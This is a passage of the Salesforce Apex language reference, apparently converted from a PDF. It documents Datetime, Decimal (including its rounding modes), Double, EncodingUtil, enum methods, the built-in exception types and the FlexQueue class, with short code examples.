Returns the second component of a Datetime in the local time zone of the context user.

Signature
public Integer second()

Return Value
Type: Integer

Example
DateTime dt = DateTime.newInstanceGMT(1999, 9, 22, 3, 1, 2);
System.assertEquals(2, dt.second());

secondGmt()
Returns the second component of a Datetime in the GMT time zone.

Signature
public Integer secondGmt()

Return Value
Type: Integer

2067

Reference

Datetime Class

Example
DateTime dt = DateTime.newInstance(2000, 2, 3, 3, 1, 5);
System.assertEquals(5, dt.secondGMT());

time()
Returns the time component of a Datetime in the local time zone of the context user.

Signature
public Time time()

Return Value
Type: Time

Example
DateTime dt = DateTime.newInstance(2002, 11, 21, 0, 2, 2);
Time expected = Time.newInstance(0, 2, 2, 0);
System.assertEquals(expected, dt.time());

timeGmt()
Returns the time component of a Datetime in the GMT time zone.

Signature
public Time timeGmt()

Return Value
Type: Time

Example
// This sample is based on the PST time zone
DateTime dt = DateTime.newInstance(2004, 1, 27, 4, 1, 2);
Time expected = Time.newInstance(12, 1, 2, 0);
// 8 hours are added to the time to convert it from
// PST to GMT
System.assertEquals(expected, dt.timeGMT());

valueOf(dateTimeString)
Returns a Datetime that contains the value of the specified string.

Signature
public static Datetime valueOf(String dateTimeString)

2068

Reference

Datetime Class

Parameters
dateTimeString

Type: String

Return Value
Type: Datetime
The returned date is in the GMT time zone.

Usage
The specified string should use the standard date format yyyy-MM-dd HH:mm:ss in the local time zone.

Example
string year = '2008';
string month = '10';
string day = '5';
string hour = '12';
string minute = '20';
string second = '20';
string stringDate = year + '-' + month + '-' + day + ' ' + hour + ':'
+ minute + ':' + second;
Datetime myDate = Datetime.valueOf(stringDate);

valueOf(fieldValue)
Converts the specified object to a Datetime. Use this method to convert a history tracking field value or an object that represents a
Datetime value.

Signature
public static Datetime valueOf(Object fieldValue)

Parameters
fieldValue

Type: Object

Return Value
Type: Datetime

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field is a
Date/Time field.

2069

Reference

Datetime Class

Example
List<AccountHistory> ahlist = [SELECT Field,OldValue,NewValue FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'MyDatetime__c') {
Datetime oldValue = Datetime.valueOf(ah.OldValue);
Datetime newValue = Datetime.valueOf(ah.NewValue);
}
}

valueOfGmt(dateTimeString)
Returns a Datetime that contains the value of the specified String.

Signature
public static Datetime valueOfGmt(String dateTimeString)

Parameters
dateTimeString

Type: String

Return Value
Type: Datetime

Usage
The specified string should use the standard date format yyyy-MM-dd HH:mm:ss in the GMT time zone.

Example
// California locale time
string year = '2009';
string month = '3';
string day = '5';
string hour = '5';
string minute = '2';
string second = '2';
string stringDate = year + '-' + month + '-' + day + ' ' + hour + ':'
+ minute + ':' + second;
Datetime myDate = Datetime.valueOfGMT(stringDate);
DateTime expected = DateTime.newInstance(2009, 3, 4, 21, 2, 2);
System.assertEquals(expected, myDate);

year()
Returns the year component of a Datetime in the local time zone of the context user.

2070

Reference

Decimal Class

Signature
public Integer year()

Return Value
Type: Integer

Example
DateTime dt = DateTime.newInstance(2012, 1, 26, 5, 2, 4);
System.assertEquals(2012, dt.year());

yearGmt()
Returns the year component of a Datetime in the GMT time zone.

Signature
public Integer yearGmt()

Return Value
Type: Integer

Example
DateTime dt = DateTime.newInstance(2012, 10, 4, 6, 4, 6);
System.assertEquals(2012, dt.yearGMT());

Decimal Class
Contains methods for the Decimal primitive data type.

Namespace
System

Usage
For more information on Decimal, see Primitive Data Types on page 27.
IN THIS SECTION:
Rounding Mode
Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision.
Decimal Methods

2071

Reference

Decimal Class

Rounding Mode
Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision.
Each rounding mode indicates how the least significant returned digit of a rounded result is to be calculated. The following are the valid
values for roundingMode.
Name

Description

CEILING

Rounds towards positive infinity. That is, if the result is positive, this mode behaves the same as
the UP rounding mode; if the result is negative, it behaves the same as the DOWN rounding
mode. Note that this rounding mode never decreases the calculated value. For example:
Input number 5.5: CEILING round mode result: 6
Input number 1.1: CEILING round mode result: 2
Input number -1.1: CEILING round mode result: -1
Input number -2.7: CEILING round mode result: -2
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 2, -1, -2};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.CEILING));
}

DOWN

Rounds towards zero. This rounding mode always discards any fractions (decimal points) prior
to executing. Note that this rounding mode never increases the magnitude of the calculated
value. For example:
Input number 5.5: DOWN round mode result: 5
Input number 1.1: DOWN round mode result: 1
Input number -1.1: DOWN round mode result: -1
Input number -2.7: DOWN round mode result: -2
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -1, -2};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.DOWN));
}

FLOOR

Rounds towards negative infinity. That is, if the result is positive, this mode behaves the same as
theDOWN rounding mode; if negative, this mode behaves the same as the UP rounding mode.
Note that this rounding mode never increases the calculated value. For example:
Input number 5.5: FLOOR round mode result: 5
Input number 1.1: FLOOR round mode result: 1
Input number -1.1: FLOOR round mode result: -2
Input number -2.7: FLOOR round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -2, -3};

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Reference

Name

Decimal Class

Description
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.FLOOR));
}

HALF_DOWN

Rounds towards the nearest neighbor unless both neighbors are equidistant, in which case
this mode rounds down. This rounding mode behaves the same as the UP rounding mode if
the discarded fraction (decimal point) is > 0.5; otherwise, it behaves the same as DOWN rounding
mode. For example:
Input number 5.5: HALF_DOWN round mode result: 5
Input number 1.1: HALF_DOWN round mode result: 1
Input number -1.1: HALF_DOWN round mode result: -1
Input number -2.7: HALF_DOWN round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -1, -3};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.HALF_DOWN));
}

HALF_EVEN

Rounds towards the nearest neighbor unless both neighbors are equidistant, in which case,
this mode rounds towards the even neighbor. This rounding mode behaves the same as the
HALF_UP rounding mode if the digit to the left of the discarded fraction (decimal point) is
odd. It behaves the same as the HALF_DOWN rounding method if it is even. For example:
Input number 5.5: HALF_EVEN round mode result: 6
Input number 1.1: HALF_EVEN round mode result: 1
Input number -1.1: HALF_EVEN round mode result: -1
Input number -2.7: HALF_EVEN round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 1, -1, -3};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.HALF_EVEN));
}

Note that this rounding mode statistically minimizes cumulative error when applied repeatedly
over a sequence of calculations.
HALF_UP

Rounds towards the nearest neighbor unless both neighbors are equidistant, in which case,
this mode rounds up. This rounding method behaves the same as the UP rounding method if
the discarded fraction (decimal point) is >= 0.5; otherwise, this rounding method behaves the
same as the DOWN rounding method. For example:
Input number 5.5: HALF_UP round mode result: 6
Input number 1.1: HALF_UP round mode result: 1
Input number -1.1: HALF_UP round mode result: -1

2073

Reference

Name

Decimal Class

Description
Input number -2.7: HALF_UP round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 1, -1, -3};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.HALF_UP));
}

UNNECESSARY

Asserts that the requested operation has an exact result, which means that no rounding is
necessary. If this rounding mode is specified on an operation that yields an inexact result, a
MathException is thrown. For example:
Input number 5.5: UNNECESSARY round mode result: MathException
Input number 1.1: UNNECESSARY round mode result: MathException
Input number 1.0: UNNECESSARY round mode result: 1
Input number -1.0: UNNECESSARY round mode result: -1
Input number -2.2: UNNECESSARY round mode result: MathException
Decimal example1 = 5.5;
Decimal example2 = 1.0;
system.assertEquals(1,
example2.round(System.RoundingMode.UNNECESSARY));
try{
example1.round(System.RoundingMode.UNNECESSARY);
} catch(Exception E) {
system.assertEquals('System.MathException', E.getTypeName());
}

Rounds away from zero. This rounding mode always truncates any fractions (decimal points)
prior to executing. Note that this rounding mode never decreases the magnitude of the calculated
value. For example:
Input number 5.5: UP round mode result: 6
Input number 1.1: UP round mode result: 2
Input number -1.1: UP round mode result: -2
Input number -2.7: UP round mode result: -3
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 2, -2, -3};
for(integer x = 0; x < example.size(); x++){
System.assertEquals(expected[x],
example[x].round(System.RoundingMode.UP));
}

Decimal Methods
The following are methods for Decimal.

2074

Reference

Decimal Class

IN THIS SECTION:
abs()
Returns the absolute value of the Decimal.
divide(divisor, scale)
Divides this Decimal by the specified divisor, and sets the scale, that is, the number of decimal places, of the result using the specified
scale.
divide(divisor, scale, roundingMode)
Divides this Decimal by the specified divisor, sets the scale, that is, the number of decimal places, of the result using the specified
scale, and if necessary, rounds the value using the rounding mode.
doubleValue()
Returns the Double value of this Decimal.
format()
Returns the String value of this Decimal using the locale of the context user.
intValue()
Returns the Integer value of this Decimal.
longValue()
Returns the Long value of this Decimal.
pow(exponent)
Returns the value of this decimal raised to the power of the specified exponent.
precision()
Returns the total number of digits for the Decimal.
round()
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards
the even neighbor.
round(roundingMode)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode
specified by the rounding mode.
scale()
Returns the scale of the Decimal, that is, the number of decimal places.
setScale(scale)
Sets the scale of the Decimal to the specified number of decimal places, using half-even rounding, if necessary. Half-even rounding
mode rounds toward the nearest neighbor. If both neighbors are equidistant, the number is rounded toward the even neighbor.
setScale(scale, roundingMode)
Sets the scale of the Decimal to the specified number of decimal places, using the specified rounding mode, if necessary.
stripTrailingZeros()
Returns the Decimal with any trailing zeros removed.
toPlainString()
Returns the String value of this Decimal, without using scientific notation.
valueOf(doubleToDecimal)
Returns a Decimal that contains the value of the specified Double.

2075

Reference

Decimal Class

valueOf(longToDecimal)
Returns a Decimal that contains the value of the specified Long.
valueOf(stringToDecimal)
Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal.

abs()
Returns the absolute value of the Decimal.

Signature
public Decimal abs()

Return Value
Type: Decimal

Example
Decimal myDecimal = -6.02214129;
System.assertEquals(6.02214129, myDecimal.abs());

divide(divisor, scale)
Divides this Decimal by the specified divisor, and sets the scale, that is, the number of decimal places, of the result using the specified
scale.

Signature
public Decimal divide(Decimal divisor, Integer scale)

Parameters
divisor

Type: Decimal
scale

Type: Integer

Return Value
Type: Decimal

Example
Decimal decimalNumber = 19;
Decimal result = decimalNumber.divide(100, 3);
System.assertEquals(0.190, result);

2076

Reference

Decimal Class

divide(divisor, scale, roundingMode)

Divides this Decimal by the specified divisor, sets the scale, that is, the number of decimal places, of the result using the specified scale,
and if necessary, rounds the value using the rounding mode.

Signature
public Decimal divide(Decimal divisor, Integer scale, System.RoundingMode roundingMode)

Parameters
divisor

Type: Decimal
scale

Type: Integer
roundingMode

Type: System.RoundingMode

Return Value
Type: Decimal

Example
Decimal myDecimal = 12.4567;
Decimal divDec = myDecimal.divide(7, 2, System.RoundingMode.UP);
System.assertEquals(divDec, 1.78);

doubleValue()
Returns the Double value of this Decimal.

Signature
public Double doubleValue()

Return Value
Type: Double

Example
Decimal myDecimal = 6.62606957;
Double value = myDecimal.doubleValue();
System.assertEquals(6.62606957, value);

format()
Returns the String value of this Decimal using the locale of the context user.

2077

Reference

Decimal Class

Signature
public String format()

Return Value
Type: String

Usage
Scientific notation will be used if an exponent is needed.

Example
// U.S. locale
Decimal myDecimal = 12345.6789;
system.assertEquals('12,345.679', myDecimal.format());

intValue()
Returns the Integer value of this Decimal.

Signature
public Integer intValue()

Return Value
Type: Integer

Example
Decimal myDecimal = 1.602176565;
system.assertEquals(1, myDecimal.intValue());

longValue()
Returns the Long value of this Decimal.

Signature
public Long longValue()

Return Value
Type: Long

Example
Decimal myDecimal = 376.730313461;
system.assertEquals(376, myDecimal.longValue());

2078

Reference

Decimal Class

pow(exponent)
Returns the value of this decimal raised to the power of the specified exponent.

Signature
public Decimal pow(Integer exponent)

Parameters
exponent

Type: Integer
The value of exponent must be between 0 and 32,767.

Return Value
Type: Decimal

Usage
If you use MyDecimal.pow(0), 1 is returned.
The Math.pow method does accept negative values.

Example
Decimal myDecimal = 4.12;
Decimal powDec = myDecimal.pow(2);
System.assertEquals(powDec, 16.9744);

precision()
Returns the total number of digits for the Decimal.

Signature
public Integer precision()

Return Value
Type: Integer

Example
For example, if the Decimal value was 123.45, precision returns 5. If the Decimal value is 123.123, precision returns 6.
Decimal D1 = 123.45;
Integer precision1 = D1.precision();
system.assertEquals(precision1, 5);
Decimal D2 = 123.123;
Integer precision2 = D2.precision();
system.assertEquals(precision2, 6);

2079

Reference

Decimal Class

round()
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode,
that is, it rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards the
even neighbor.

Signature
public Long round()

Return Value
Type: Long

Usage
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

Example
Decimal D = 4.5;
Long L = D.round();
System.assertEquals(4, L);
Decimal D1 = 5.5;
Long L1 = D1.round();
System.assertEquals(6, L1);
Decimal D2 = 5.2;
Long L2 = D2.round();
System.assertEquals(5, L2);
Decimal D3 = -5.7;
Long L3 = D3.round();
System.assertEquals(-6, L3);

round(roundingMode)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode specified
by the rounding mode.

Signature
public Long round(System.RoundingMode roundingMode)

Parameters
roundingMode

Type: System.RoundingMode

2080

Reference

Decimal Class

Return Value
Type: Long

scale()
Returns the scale of the Decimal, that is, the number of decimal places.

Signature
public Integer scale()

Return Value
Type: Integer

Example
Decimal myDecimal = 9.27400968;
system.assertEquals(8, myDecimal.scale());

setScale(scale)
Sets the scale of the Decimal to the specified number of decimal places, using half-even rounding, if necessary. Half-even rounding
mode rounds toward the nearest neighbor. If both neighbors are equidistant, the number is rounded toward the even neighbor.

Signature
public Decimal setScale(Integer scale)

Parameters
scale

Type: Integer
The value of scale must be between 33 and 33. If the value of scale is negative, your unscaled value is multiplied by 10 to
the power of the negation of scale. For example, after this operation, the value of d is 4*10^3.
Decimal d = 4000;
d = d.setScale(-3);

Return Value
Type: Decimal

2081

Reference

Decimal Class

If the Decimal is created from a non-decimal number, the number is first converted to a String. Scale is then set using the number
of characters after the decimal point.

Example
Decimal myDecimal = 8.987551787;
Decimal setScaled = myDecimal.setscale(3);
System.assertEquals(8.988, setScaled);

setScale(scale, roundingMode)
Sets the scale of the Decimal to the specified number of decimal places, using the specified rounding mode, if necessary.

Signature
public Decimal setScale(Integer scale, System.RoundingMode roundingMode)

Parameters
scale

roundingMode

Type: System.RoundingMode

Return Value
Type: Decimal

Usage
If you do not explicitly set the scale for a Decimal, the item from which the Decimal is created determines the scale.
If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.
If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.
If the Decimal is created from a non-decimal number, the number is first converted to a String. Scale is then set using the number
of characters after the decimal point.

stripTrailingZeros()
Returns the Decimal with any trailing zeros removed.

Signature
public Decimal stripTrailingZeros()

2082

Reference

Decimal Class

Return Value
Type: Decimal

Example
Decimal myDecimal = 1.10000;
Decimal stripped = myDecimal.stripTrailingZeros();
System.assertEquals(stripped, 1.1);

toPlainString()
Returns the String value of this Decimal, without using scientific notation.

Signature
public String toPlainString()

Return Value
Type: String

Example
Decimal myDecimal = 12345.6789;
System.assertEquals('12345.6789', myDecimal.toPlainString());

valueOf(doubleToDecimal)
Returns a Decimal that contains the value of the specified Double.

Signature
public static Decimal valueOf(Double doubleToDecimal)

Parameters
doubleToDecimal

Type: Double

Return Value
Type: Decimal

Example
Double myDouble = 2.718281828459045;
Decimal myDecimal = Decimal.valueOf(myDouble);
System.assertEquals(2.718281828459045, myDecimal);

2083

Reference

Double Class

valueOf(longToDecimal)
Returns a Decimal that contains the value of the specified Long.

Signature
public static Decimal valueOf(Long longToDecimal)

Parameters
longToDecimal

Type: Long

Return Value
Type: Decimal

Example
Long myLong = 299792458;
Decimal myDecimal = Decimal.valueOf(myLong);
System.assertEquals(299792458, myDecimal);

valueOf(stringToDecimal)
Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal.

Signature
public static Decimal valueOf(String stringToDecimal)

Parameters
stringToDecimal

Type: String

Return Value
Type: Decimal

Example
String temp = '12.4567';
Decimal myDecimal = Decimal.valueOf(temp);

Double Class
Contains methods for the Double primitive data type.

2084

Reference

Double Class

Namespace
System

Usage
For more information on Double, see Primitive Data Types on page 27.

Double Methods
The following are methods for Double.
IN THIS SECTION:
format()
Returns the String value for this Double using the locale of the context user
intValue()
Returns the Integer value of this Double by casting it to an Integer.
longValue()
Returns the Long value of this Double.
round()
Returns the closest Long to this Double value.
valueOf(stringToDouble)
Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal.
valueOf(fieldValue)
Converts the specified object to a Double value. Use this method to convert a history tracking field value or an object that represents
a Double value.

format()
Returns the String value for this Double using the locale of the context user

Signature
public String format()

Return Value
Type: String

Example
Double myDouble = 1261992;
system.assertEquals('1,261,992', myDouble.format());

2085

Reference

Double Class

intValue()
Returns the Integer value of this Double by casting it to an Integer.

Signature
public Integer intValue()

Return Value
Type: Integer

Example
Double DD1 = double.valueOf('3.14159');
Integer value = DD1.intValue();
system.assertEquals(value, 3);

longValue()
Returns the Long value of this Double.

Signature
public Long longValue()

Return Value
Type: Long

Example
Double myDouble = 421994;
Long value = myDouble.longValue();
System.assertEquals(421994, value);

round()
Returns the closest Long to this Double value.

Signature
public Long round()

Return Value
Type: Long

2086

Reference

Double Class

Example
Double D1 = 4.5;
Long L1 = D1.round();
System.assertEquals(5, L1);
Double D2= 4.2;
Long L2= D2.round();
System.assertEquals(4, L2);
Double D3= -4.7;
Long L3= D3.round();
System.assertEquals(-5, L3);

valueOf(stringToDouble)
Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal.

Signature
public static Double valueOf(String stringToDouble)

Parameters
stringToDouble

Type: String

Return Value
Type: Double

Example
Double DD1 = double.valueOf('3.14159');

valueOf(fieldValue)
Converts the specified object to a Double value. Use this method to convert a history tracking field value or an object that represents a
Double value.

Signature
public static Double valueOf(Object fieldValue)

Parameters
fieldValue

Type: Object

2087

Reference

EncodingUtil Class

Return Value
Type: Double

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type
corresponds to a Double type, like a number field.

Example
List<AccountHistory> ahlist =
[SELECT Field,OldValue,NewValue
FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'NumberOfEmployees') {
Double oldValue =
Double.valueOf(ah.OldValue);
Double newValue =
Double.valueOf(ah.NewValue);
}

EncodingUtil Class
Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.

Namespace
System

Usage
Note: You cannot use the EncodingUtil methods to move documents with non-ASCII characters to Salesforce. You can, however,
download a document from Salesforce. To do so, query the ID of the document using the API query call, then request it by ID.

EncodingUtil Methods
The following are methods for EncodingUtil. All methods are static.
IN THIS SECTION:
base64Decode(inputString)
Converts a Base64-encoded String to a Blob representing its normal form.
base64Encode(inputBlob)
Converts a Blob to an unencoded String representing its normal form.
convertFromHex(inputString)
Converts the specified hexadecimal (base 16) string to a Blob value and returns this Blob value.

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Reference

EncodingUtil Class

convertToHex(inputBlob)
Returns a hexadecimal (base 16) representation of the inputBlob. This method can be used to compute the client response (for
example, HA1 or HA2) for HTTP Digest Authentication (RFC2617).
urlDecode(inputString, encodingScheme)
Decodes a string in application/x-www-form-urlencoded format using a specific encoding scheme, for example
UTF-8.
urlEncode(inputString, encodingScheme)
Encodes a string into the application/x-www-form-urlencoded format using a specific encoding scheme, for example
UTF-8.

base64Decode(inputString)
Converts a Base64-encoded String to a Blob representing its normal form.

Signature
public static Blob base64Decode(String inputString)

Parameters
inputString

Type: String

Return Value
Type: Blob

base64Encode(inputBlob)
Converts a Blob to an unencoded String representing its normal form.

Signature
public static String base64Encode(Blob inputBlob)

Parameters
inputBlob

Type: Blob

Return Value
Type: String

convertFromHex(inputString)
Converts the specified hexadecimal (base 16) string to a Blob value and returns this Blob value.

2089

Reference

EncodingUtil Class

Signature
public static Blob convertFromHex(String inputString)

Parameters
inputString

Type: String
The hexadecimal string to convert. The string can contain only valid hexadecimal characters (0-9, a-f, A-F) and must have an even
number of characters.

Return Value
Type: Blob

Usage
Each byte in the Blob is constructed from two hexadecimal characters in the input string.
The convertFromHex method throws the following exceptions.
NullPointerException the inputString is null.
InvalidParameterValueException the inputString contains invalid hexadecimal characters or doesnt contain
an even number of characters.

Example
Blob blobValue = EncodingUtil.convertFromHex('4A4B4C');
System.assertEquals('JKL', blobValue.toString());

Signature
public static String convertToHex(Blob inputBlob)

Parameters
inputBlob

Type: Blob

Return Value
Type: String

urlDecode(inputString, encodingScheme)
Decodes a string in application/x-www-form-urlencoded format using a specific encoding scheme, for example UTF-8.

2090

Reference

EncodingUtil Class

Signature
public static String urlDecode(String inputString, String encodingScheme)

Parameters
inputString

Type: String
encodingScheme

Type: String

Return Value
Type: String

Usage
This method uses the supplied encoding scheme to determine which characters are represented by any consecutive sequence of the
from \"%xy\". For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0.

urlEncode(inputString, encodingScheme)
Encodes a string into the application/x-www-form-urlencoded format using a specific encoding scheme, for example
UTF-8.

Signature
public static String urlEncode(String inputString, String encodingScheme)

Parameters
inputString

Type: String
encodingScheme

Type: String

Return Value
Type: String

Usage
This method uses the supplied encoding scheme to obtain the bytes for unsafe characters. For more information about the format, see
The form-urlencoded Media Type in Hypertext Markup Language - 2.0.

Example
String encoded = EncodingUtil.urlEncode(url, 'UTF-8');

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Reference

Enum Methods

Enum Methods
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Apex provides
built-in enums, such as LoggingLevel, and you can define your own enum.
All Apex enums, whether user-defined enums or built-in enums, have the following common method that takes no arguments.
values

This method returns the values of the Enum as a list of the same Enum type.
Each Enum value has the following methods that take no arguments.
name

Returns the name of the Enum item as a String.

ordinal

Returns the position of the item, as an Integer, in the list of Enum values starting with zero.
Enum values cannot have user-defined methods added to them.
For more information about Enum, see Enums on page 35.

Example
Integer i = StatusCode.DELETE_FAILED.ordinal();
String s = StatusCode.DELETE_FAILED.name();
List<StatusCode> values = StatusCode.values();

Exception Class and Built-In Exceptions

An exception denotes an error that disrupts the normal flow of code execution. You can use Apex built-in exceptions or create custom
exceptions. All exceptions have common methods.
All exceptions support built-in methods for returning the error message and exception type. In addition to the standard exception
class, there are several different types of exceptions:
The following are exceptions in the System namespace.
Exception

Description

AsyncException

Any problem with an asynchronous operation, such as failing to enqueue an

asynchronous call.

CalloutException

Any problem with a Web service operation, such as failing to make a callout to an
external system.

DmlException

Any problem with a DML statement, such as an insert statement missing a required
field on a record.

EmailException

Any problem with email, such as failure to deliver. For more information, see Outbound
Email.

ExternalObjectException

Any problem with external object records, such as connection timeouts during attempts
to access the data thats stored on external systems.

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Reference

Exception

Exception Class and Built-In Exceptions

Description

InvalidParameterValueException An invalid parameter was supplied for a method or any problem with a URL used with

Visualforce pages. For more information on Visualforce, see the Visualforce Developer's
Guide.
LimitException

A governor limit has been exceeded. This exception cant be caught.

JSONException

Any problem with JSON serialization and deserialization operations. For more
information, see the methods of System.JSON, System.JSONParser, and
System.JSONGenerator.

ListException

Any problem with a list, such as attempting to access an index that is out of bounds.

MathException

Any problem with a mathematical operation, such as dividing by zero.

NoAccessException

Any problem with unauthorized access, such as trying to access an sObject that the
current user does not have access to. This is generally used with Visualforce pages. For
more information on Visualforce, see the Visualforce Developer's Guide.

NoDataFoundException

Any problem with data that does not exist, such as trying to access an sObject that has
been deleted. This is generally used with Visualforce pages. For more information on
Visualforce, see the Visualforce Developer's Guide.

NoSuchElementException

This exception is thrown if you try to access items that are outside the bounds of a list.
This exception is used by the Iterator next method. For example, if
iterator.hasNext() == false and you call iterator.next(), this
exception is thrown. This exception is also used by the Apex Flex Queue methods and
is thrown if you attempt to access a job at an invalid position in the flex queue.

NullPointerException

Any problem with dereferencing null, such as in the following code:

String s;
s.toLowerCase(); // Since s is null, this call causes
// a NullPointerException

QueryException

Any problem with SOQL queries, such as assigning a query that returns no records or
more than one record to a singleton sObject variable.

RequiredFeatureMissing

A Chatter feature is required for code that has been deployed to an organization that
does not have Chatter enabled.

SearchException

Any problem with SOSL queries executed with SOAP API search() call, for example,
when the searchString parameter contains less than two characters. For more
information, see the SOAP API Developer's Guide.

SecurityException

Any problem with static methods in the Crypto utility class. For more information, see
Crypto Class.

SerializationException

Any problem with the serialization of data. This is generally used with Visualforce pages.
For more information on Visualforce, see the Visualforce Developer's Guide.

SObjectException

Any problem with sObject records, such as attempting to change a field in an update
statement that can only be changed during insert.

StringException

Any problem with Strings, such as a String that is exceeding your heap size.

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Reference

Exception Class and Built-In Exceptions

Exception

Description

TypeException

Any problem with type conversions, such as attempting to convert the String 'a' to an
Integer using the valueOf method.

VisualforceException

Any problem with a Visualforce page. For more information on Visualforce, see the
Visualforce Developer's Guide.

XmlException

Any problem with the XmlStream classes, such as failing to read or write XML.

The following is an example using the DmlException exception:

Account[] accts = new Account[]{new Account(billingcity = 'San Jose')};
try {
insert accts;
} catch (System.DmlException e) {
for (Integer i = 0; i < e.getNumDml(); i++) {
// Process exception here
System.debug(e.getDmlMessage(i));
}
}

For exceptions in other namespaces, see:

Canvas Exceptions
ConnectApi Exceptions
DataSource Exceptions
Reports Exceptions
Site Exceptions

Common Exception Methods

Exception methods are all called by and operate on a particular instance of an exception. The table below describes all instance exception
methods. All types of exceptions have the following methods in common:
Name

Arguments

Return Type

Description

getCause

Exception

Returns the cause of the exception as an exception object.

getLineNumber

Integer

Returns the line number from where the exception was

thrown.

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Reference

FlexQueue Class

DMLException and EmailException Methods

In addition to the common exception methods, DMLExceptions and EmailExceptions have the following additional methods:
Name

Arguments

getDmlFieldNames Integer i

Return Type

Description

String []

Returns the names of the field or fields that caused the error
described by the ith failed row.

getDmlFields

Integer i

Schema.sObjectField [] Returns the field token or tokens for the field or fields that
caused the error described by the ith failed row. For more
information on field tokens, see Dynamic Apex.

getDmlId

Integer i

String

Returns the ID of the failed record that caused the error

described by the ith failed row.

getDmlIndex

Integer i

Integer

Returns the original row position of the ith failed row.

getDmlMessage

Integer i

String

Returns the user message for the ith failed row.

getDmlStatusCode Integer i

String

Deprecated. Use getDmlType instead. Returns the Apex

failure code for the ith failed row.

System.StatusCode

Returns the value of the System.StatusCode enum. For

example:

getDmlType

Integer i

try {
insert new Account();
}
catch (System.DmlException ex) {
System.assertEquals(
StatusCode.REQUIRED_FIELD_MISSING,
ex.getDmlType(0));
}

For more information about System.StatusCode, see Enums.

getNumDml

Integer

Returns the number of failed rows for DML exceptions.

FlexQueue Class
Contains methods that reorder batch jobs in the Apex flex queue.

Namespace
System

Usage
You can place up to 100 batch jobs in a holding status for future execution. When system resources become available, the jobs are taken
from the top of the Apex flex queue and moved to the batch job queue. Up to five queued or active jobs can be processed simultaneously
for each org. When a job is moved out of the flex queue for processing, its status changes from Holding to Queued. Queued jobs are
executed when the system is ready to process new jobs.

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Reference

FlexQueue Class

Use this classs methods to reorder your Holding jobs in the flex queue.

Example
This example moves a job in the flex queue so that it is executed immediately before the specified job in the queue. Ensure that you
have jobs in the flex queue before execution. To move the job, call the System.FlexQueue.moveBeforeJob() method and
pass it both jobs IDs.
ID jobToMoveId = System.enqueueJob(new MyQueueableClass());
AsyncApexJob a = [SELECT Id FROM AsyncApexJob WHERE ApexClassId IN
(SELECT Id from ApexClass WHERE NamespacePrefix = null
AND Name = 'MyBatchClass')];
ID jobInQueueId = a.ID;
Boolean isSuccess = FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);

IN THIS SECTION:
FlexQueue Methods
SEE ALSO:
Monitoring the Apex Flex Queue
Using Batch Apex

FlexQueue Methods
The following are methods for FlexQueue.
IN THIS SECTION:
moveAfterJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately after the job with the ID jobInQueueId in the flex queue. You can
move jobToMoveId forward or backward in the queue. If either job isnt in the queue, it throws an element-not-found exception.
Returns true if the job is moved, or false if jobToMoveId is already immediately after jobInQueueId, so no change
is made.
moveBeforeJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately before the job with the ID jobInQueueId in the flex queue. You can
move jobToMoveId forward or backward in the queue. If either job isnt in the queue, it throws an element-not-found exception.
Returns true if the job is moved, or false if jobToMoveId is already immediately before jobInQueueId, so no change
is made.
moveJobToEnd(jobId)
Moves the specified job the end of the flex queue, to index position (size - 1). All jobs after the jobs starting position move
one spot forward. If the job isnt in the queue, it throws an element-not-found exception. Returns true if the job is moved, or
false if the job is already at the end of the queue, so no change is made.
moveJobToFront(jobId)
Moves the specified job to the front of the flex queue, to index position 0. All other jobs move back one spot. If the job isnt in the
queue, it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the front of
the queue, so no change is made.

2096

Reference

FlexQueue Class

